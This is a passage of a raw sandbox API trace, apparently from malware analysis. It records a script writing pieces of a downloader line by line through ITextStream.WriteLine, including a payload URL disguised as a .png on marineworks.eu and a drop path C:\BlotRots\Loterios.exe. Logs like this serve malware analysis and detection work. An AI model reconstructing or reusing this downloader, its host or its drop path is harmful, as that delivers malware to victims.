pdwHelpContext=0xa3529de1a0*=0xc8762ce8, pBstrHelpFile=0x249c8758f60*="鞰졵ɉ") returned 0x0 [0148.564] malloc (_Size=0x8) returned 0x249c884eda0 [0148.564] malloc (_Size=0xe) returned 0x249ca4476d0 [0148.564] _snwprintf_s (in: _DstBuf=0x249ca4476d0, _DstSizeInWords=0x7, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"','^\"") returned 6 [0148.564] malloc (_Size=0x48) returned 0x249ca443560 [0148.564] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.564] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x24, _Source="\"','^\"", _MaxCount=0x6 | out: _Destination="ITextStream.WriteLine(\"','^\"") returned 0x0 [0148.564] wcscat_s (in: _Destination="ITextStream.WriteLine(\"','^\"", _SizeInWords=0x24, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"','^\");\r\n") returned 0x0 [0148.564] wcsncpy_s (in: _Destination=0x249ca4d55d8, _SizeInWords=0x21, _Source="ITextStream.WriteLine(\"','^\");\r\n", _MaxCount=0x20 | out: _Destination="ITextStream.WriteLine(\"','^\");\r\n") returned 0x0 [0148.564] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.564] free (_Block=0x249ca4476d0) [0148.564] free (_Block=0x249c884eda0) [0148.564] free (_Block=0x249ca443560) [0148.564] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bab0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="','^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bab0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="','^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.565] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.565] SysReleaseString () returned 0x1 [0148.565] CoTaskMemFree (pv=0x249c8761b80) [0148.565] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.565] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.565] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.565] SysAddRefString () returned 0x0 [0148.565] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.565] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.565] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.565] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762ce8, pBstrHelpFile=0x249c8758f60*="ꕰ졵ɉ") returned 0x0 [0148.565] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87622c8, pBstrHelpFile=0x249c8758f60*="ꕰ졵ɉ") returned 0x0 [0148.565] malloc (_Size=0x8) returned 0x249c884ed90 [0148.565] malloc (_Size=0x62) returned 0x249c884a540 [0148.565] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x31, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"http://marineworks.eu/dwaunrsamlbq/111111.png^\"") returned 48 [0148.565] malloc (_Size=0x9c) returned 0x249c884ee60 [0148.565] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x4e, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.565] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x4e, _Source="\"http://marineworks.eu/dwaunrsamlbq/111111.png^\"", _MaxCount=0x30 | out: _Destination="ITextStream.WriteLine(\"http://marineworks.eu/dwaunrsamlbq/111111.png^\"") returned 0x0 [0148.566] wcscat_s (in: _Destination="ITextStream.WriteLine(\"http://marineworks.eu/dwaunrsamlbq/111111.png^\"", _SizeInWords=0x4e, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"http://marineworks.eu/dwaunrsamlbq/111111.png^\");\r\n") returned 0x0 [0148.566] wcsncpy_s (in: _Destination=0x249ca4d561a, _SizeInWords=0x4b, _Source="ITextStream.WriteLine(\"http://marineworks.eu/dwaunrsamlbq/111111.png^\");\r\n", _MaxCount=0x4a | out: _Destination="ITextStream.WriteLine(\"http://marineworks.eu/dwaunrsamlbq/111111.png^\");\r\n") returned 0x0 [0148.566] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.566] free (_Block=0x249c884a540) [0148.566] free (_Block=0x249c884ed90) [0148.566] free (_Block=0x249c884ee60) [0148.566] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44baf8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="http://marineworks.eu/dwaunrsamlbq/111111.png^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44baf8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="http://marineworks.eu/dwaunrsamlbq/111111.png^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.566] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.566] SysReleaseString () returned 0x1 [0148.566] CoTaskMemFree (pv=0x249c87614f0) [0148.566] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.566] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.568] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.568] SysAddRefString () returned 0x0 [0148.568] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.568] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.568] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.568] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87622c8, pBstrHelpFile=0x249c8758f60*="ꕰ졵ɉ") returned 0x0 [0148.568] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762268, pBstrHelpFile=0x249c8758f60*="ꕰ졵ɉ") returned 0x0 [0148.568] malloc (_Size=0x8) returned 0x249c884ede0 [0148.568] malloc (_Size=0x18) returned 0x249ca447890 [0148.568] _snwprintf_s (in: _DstBuf=0x249ca447890, _DstSizeInWords=0xc, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"')) { tr^\"") returned 11 [0148.568] malloc (_Size=0x52) returned 0x249c884a540 [0148.568] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x29, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.568] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x29, _Source="\"')) { tr^\"", _MaxCount=0xb | out: _Destination="ITextStream.WriteLine(\"')) { tr^\"") returned 0x0 [0148.568] wcscat_s (in: _Destination="ITextStream.WriteLine(\"')) { tr^\"", _SizeInWords=0x29, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"')) { tr^\");\r\n") returned 0x0 [0148.568] wcsncpy_s (in: _Destination=0x249ca4d56b0, _SizeInWords=0x26, _Source="ITextStream.WriteLine(\"')) { tr^\");\r\n", _MaxCount=0x25 | out: _Destination="ITextStream.WriteLine(\"')) { tr^\");\r\n") returned 0x0 [0148.568] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.569] free (_Block=0x249ca447890) [0148.569] free (_Block=0x249c884ede0) [0148.569] free (_Block=0x249c884a540) [0148.569] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bb40*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="')) { tr^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bb40*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="')) { tr^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.569] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.569] SysReleaseString () returned 0x1 [0148.569] CoTaskMemFree (pv=0x249c87617f0) [0148.569] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.569] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.570] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.570] SysAddRefString () returned 0x0 [0148.570] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.570] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.570] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.570] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762268, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.570] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762928, pBstrHelpFile=0x249c8758f60*="齰졵ɉ") returned 0x0 [0148.570] malloc (_Size=0x8) returned 0x249c884eda0 [0148.570] malloc (_Size=0x14) returned 0x249ca447710 [0148.570] _snwprintf_s (in: _DstBuf=0x249ca447710, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"y{$pat^\"") returned 9 [0148.570] malloc (_Size=0x4e) returned 0x249c884a540 [0148.570] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.570] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\"y{$pat^\"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\"y{$pat^\"") returned 0x0 [0148.570] wcscat_s (in: _Destination="ITextStream.WriteLine(\"y{$pat^\"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"y{$pat^\");\r\n") returned 0x0 [0148.570] wcsncpy_s (in: _Destination=0x249ca4d56fc, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\"y{$pat^\");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\"y{$pat^\");\r\n") returned 0x0 [0148.570] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.570] free (_Block=0x249ca447710) [0148.570] free (_Block=0x249c884eda0) [0148.570] free (_Block=0x249c884a540) [0148.570] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bb88*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="y{$pat^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bb88*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="y{$pat^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.571] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.571] SysReleaseString () returned 0x1 [0148.571] CoTaskMemFree (pv=0x249c87617c0) [0148.571] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.571] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.572] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.572] SysAddRefString () returned 0x0 [0148.572] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.572] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.572] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.572] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762928, pBstrHelpFile=0x249c8758f60*="鴰졵ɉ") returned 0x0 [0148.572] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762d48, pBstrHelpFile=0x249c8758f60*="鴰졵ɉ") returned 0x0 [0148.572] malloc (_Size=0x8) returned 0x249c884ede0 [0148.572] malloc (_Size=0x48) returned 0x249ca443560 [0148.572] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x24, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"h = 'C:\\BlotRots\\Loterios.exe'; ^\"") returned 35 [0148.572] malloc (_Size=0x82) returned 0x249c884a540 [0148.572] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x41, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.572] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x41, _Source="\"h = 'C:\\BlotRots\\Loterios.exe'; ^\"", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\"h = 'C:\\BlotRots\\Loterios.exe'; ^\"") returned 0x0 [0148.572] wcscat_s (in: _Destination="ITextStream.WriteLine(\"h = 'C:\\BlotRots\\Loterios.exe'; ^\"", _SizeInWords=0x41, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"h = 'C:\\BlotRots\\Loterios.exe'; ^\");\r\n") returned 0x0 [0148.572] wcsncpy_s (in: _Destination=0x249ca4d5744, _SizeInWords=0x3e, _Source="ITextStream.WriteLine(\"h = 'C:\\BlotRots\\Loterios.exe'; ^\");\r\n", _MaxCount=0x3d | out: _Destination="ITextStream.WriteLine(\"h = 'C:\\BlotRots\\Loterios.exe'; ^\");\r\n") returned 0x0 [0148.572] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.572] free (_Block=0x249ca443560) [0148.572] free (_Block=0x249c884ede0) [0148.573] free (_Block=0x249c884a540) [0148.573] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bbd0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="h = 'C:\\BlotRots\\Loterios.exe'; ^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44bbd0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="h = 'C:\\BlotRots\\Loterios.exe'; ^", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.573] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.573] SysReleaseString () returned 0x1 [0148.573] CoTaskMemFree (pv=0x249c8761b80) [0148.573] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.573] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.573] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.573] SysAddRefString () returned 0x0 [0148.574] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.574] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.574] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.574] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8755fe8, 